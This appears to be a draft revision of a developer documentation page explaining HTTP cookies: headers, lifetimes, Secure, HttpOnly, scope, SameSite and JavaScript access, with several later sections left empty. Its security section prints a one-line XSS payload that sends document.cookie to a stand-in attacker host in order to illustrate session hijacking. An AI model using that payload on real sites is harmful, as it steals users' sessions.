Revision 1112481 of HTTP cookies

<div>{{HTTPSidebar}}</div>

<p class="summary">An HTTP cookie (web cookie, browser cookie) is a small piece of data that a server sends to the user's web browser. It is used to know if two requests came from the same browser allowing to keep a user logged-in, for example. It remembers stateful information for the stateless HTTP protocol.</p>

<p>Cookies are mainly used for these three purposes:</p>

<ul>
 <li>Session management (user logins, shopping carts)</li>
 <li>Personalization (user preferences)</li>
 <li>Tracking (analyzing user behavior)</li>
</ul>

<p>Cookies have also been used for general client-side storage. While this use could have been considered legitimate at a time when there was no other way to store data on the client side, it is no longer the case nowadays where web browsers are capable of using various storage APIs. Since cookies are sent along with every request, it can be an additional performance burden (especially for mobile web). New APIs to consider for local storage are:</p>

<ul>
 <li><a href="/en-US/docs/Web/API/Web_Storage_API" title="DOM Storage">Web storage API</a> (<code>localStorage</code> and <code>sessionStorage</code>)</li>
 <li><a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a></li>
</ul>

<div class="note">
<p>To see stored cookies (and other various types of storage that a web page can use), you can enable the <a href="/en-US/docs/Tools/Storage_Inspector">Storage Inspector</a> in the Developer Tools and select the Cookies storage type from the storage tree.</p>
</div>

<h2 id="Creating_cookies">Creating cookies</h2>

<p>When receiving an HTTP request, a server can send a {{HTTPHeader("Set-Cookie")}} header with the response. Afterward, the cookie value is sent along with every request made to the same server in the form of a {{HTTPHeader("Cookie")}} HTTP header. Additionally, an expiration delay can be specified as well as restrictions to a specific domain and path.</p>

<h3 id="The_Set-Cookie_and_Cookie_headers">The <code>Set-Cookie</code> and Cookie headers</h3>

<p>The {{HTTPHeader("Set-Cookie")}} HTTP response header is used to send cookies from the server to the user agent. A simple cookie can be set like this:</p>

<pre class="syntaxbox">
Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;</pre>

<p>The server tells the client to store a cookie (for example using <a href="https://php.net/manual/en/function.setcookie.php">PHP</a>, <a href="https://nodejs.org/dist/latest-v6.x/docs/api/http.html#http_response_setheader_name_value">Node.js</a>, <a href="https://docs.python.org/3/library/http.cookies.html">Python</a>, or <a href="https://api.rubyonrails.org/classes/ActionDispatch/Cookies.html">Ruby on Rails</a>). The response sent to the browser will contain the <code>Set-Cookie</code> header and the browser will store the cookie.</p>

<pre>
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[page content]</pre>

<p id="The_client_sends_back_to_the_server_its_cookies_previously_stored">Now, with every new request the to the server, the browser will send back all previously stored cookies to the server using the {{HTTPHeader("Cookie")}} header.</p>

<pre>
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
</pre>

<h3 id="Session_cookies">Session cookies</h3>

<p>The simple cookie that have been created above are in fact session cookies. They will get removed when the client is shut down. They don's specify the <code>Expires</code> or <code>Max-Age</code> directives. Note that web browser have often session restoring enabled, which will make most session cookies actually permanent as if the browser was never closed.</p>

<h3 id="Permanent_cookies">Permanent cookies</h3>

<p>Instead of expiring when the client is closed, permanent cookies expire at a specific date (<code>Expires</code>) or after a specific length of time (<code>Max-Age</code>).</p>

<pre>
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;</pre>

<h3 id="Secure_and_HttpOnly_cookies">Secure and <code>HttpOnly</code> cookies</h3>

<p>A secure cookie will only be sent to the server when a request is made using SSL and the HTTPS protocol. However, note that confidential or sensitive information should never be stored or transmitted in HTTP Cookies as the entire mechanism is inherently insecure and this flag won't offer you any additional encryption or security.</p>

<p>To prevent cross-site scripting ({{Glossary("XSS")}}) attacks, HTTP-only cookies aren't accessible via JavaScript through the {{domxref("Document.cookie")}} property, the {{domxref("XMLHttpRequest")}} and {{domxref("Request")}} APIs. Set this flag when you don't need your cookies available in JavaScript.</p>

<pre>
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly</pre>

<h3 id="Scope_of_cookies">Scope of cookies</h3>

<p>The <code>Domain</code> and <code>Path</code> directives define the scope of the cookie.</p>

<p><code>Domain</code> specifies those hosts to which the cookie will be sent. If not specified, defaults to the host portion of the current document location (but not including subdomains). If a domain is specified, subdomains are always included.</p>

<p>If <code>Domain=mozilla.org</code> is set, cookies are included on subdomains like <code>developer.mozilla.org</code>.</p>

<p><code>Path</code> indicates a URL path that must exist in the requested resource before sending the <code>Cookie</code> header. The %x2F ("/") character is interpreted as a directory separator and sub directories will be matched as well.</p>

<p>If <code>Path=/docs</code> is set, these paths will all be matched:</p>

<ul>
 <li>"/docs",</li>
 <li>"/docs/Web/",</li>
 <li>"/docs/Web/HTTP"</li>
</ul>

<h3 id="SameSite_cookies_experimental_inline"><code>SameSite</code> cookies&nbsp;{{experimental_inline}}</h3>

<p><code>SameSite</code> cookies allow servers to assert that a cookie ought not to be sent along with cross-site requests, which provides some protection against cross-site request forgery attacks ({{Glossary("CSRF")}}). <code>SameSite</code> cookies are still experimental and not yet supported by all browsers.</p>

<h3 id="JavaScript_access_using_Document.cookies">JavaScript access using Document.cookies</h3>

<p>New cookies can also be created using the {{domxref("Document.cookie")}} property, and if the <code>HttpOnly</code> flag is not set, existing cookies can be accessed from JavaScript as well.</p>

<pre class="brush: js">
document.cookie = "yummy_cookie=choco"; 
document.cookie = "tasty_cookie=strawberry"; 
console.log(document.cookie); 
// logs "yummy_cookie=choco; tasty_cookie=strawberry"</pre>

<p>Please note the security implications as noted in the Security section below. Cookies that are available to JavaScript might get stolen through XSS.</p>

<ul>
</ul>

<h2 id="Security">Security</h2>

<div class="note">
<p>Confidential or sensitive information should never be stored or transmitted in HTTP Cookies as the entire mechanism is inherently insecure.</p>
</div>

<h3 id="Session_hijacking_and_XSS">Session hijacking and XSS</h3>

<p>Cookies are often used in web application to identify a user and their authenticated session. So stealing cookie from a web application, will lead to hijacking the authenticated user's session. Common ways to steal cookies include using Social Engineering or by exploiting an {{Glossary("XSS")}} vulnerability in the application.</p>

<pre class="brush: js">
(new Image()).src = "https://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;</pre>

<p>The <code>HttpOnly</code> cookie attribute can help to mitigate this attack by preventing access to cookie value through JavaScript.</p>

<h3 id="Cross-site_request_forgery_(CSRF)">Cross-site request forgery (CSRF)</h3>

<p>&nbsp;</p>

<h2 id="Tracking_and_privacy">Tracking and privacy</h2>

<h3 id="Third-party_cookies">Third-party cookies</h3>

<h3 id="Zombiecookies_and_Evercookies">Zombiecookies and Evercookies</h3>

<h3 id="Do-Not-Track">Do-Not-Track</h3>

<h3 id="EU_cookie_directive">EU cookie directive</h3>

<h2 id="See_also">See also</h2>

<ul>
 <li>{{HTTPHeader("Set-Cookie")}}</li>
 <li>{{HTTPHeader("Cookie")}}</li>
 <li>{{domxref("Document.cookie")}}</li>
 <li>{{domxref("Navigator.cookieEnabled")}}</li>
 <li><a href="/en-US/docs/Tools/Storage_Inspector">Inspecting cookies using the Storage Inspector</a></li>
 <li><a class="external" href="https://tools.ietf.org/html/rfc6265">Cookie specification: RFC 6265</a></li>
 <li><a class="external" href="https://www.nczonline.net/blog/2009/05/05/http-cookies-explained/">Nicholas Zakas article on cookies</a></li>
 <li><a class="external" href="https://www.nczonline.net/blog/2009/05/12/cookies-and-security/">Nicholas Zakas article on cookies and security</a></li>
 <li><a href="https://en.wikipedia.org/wiki/HTTP_cookie">HTTP cookie on Wikipedia</a></li>
</ul>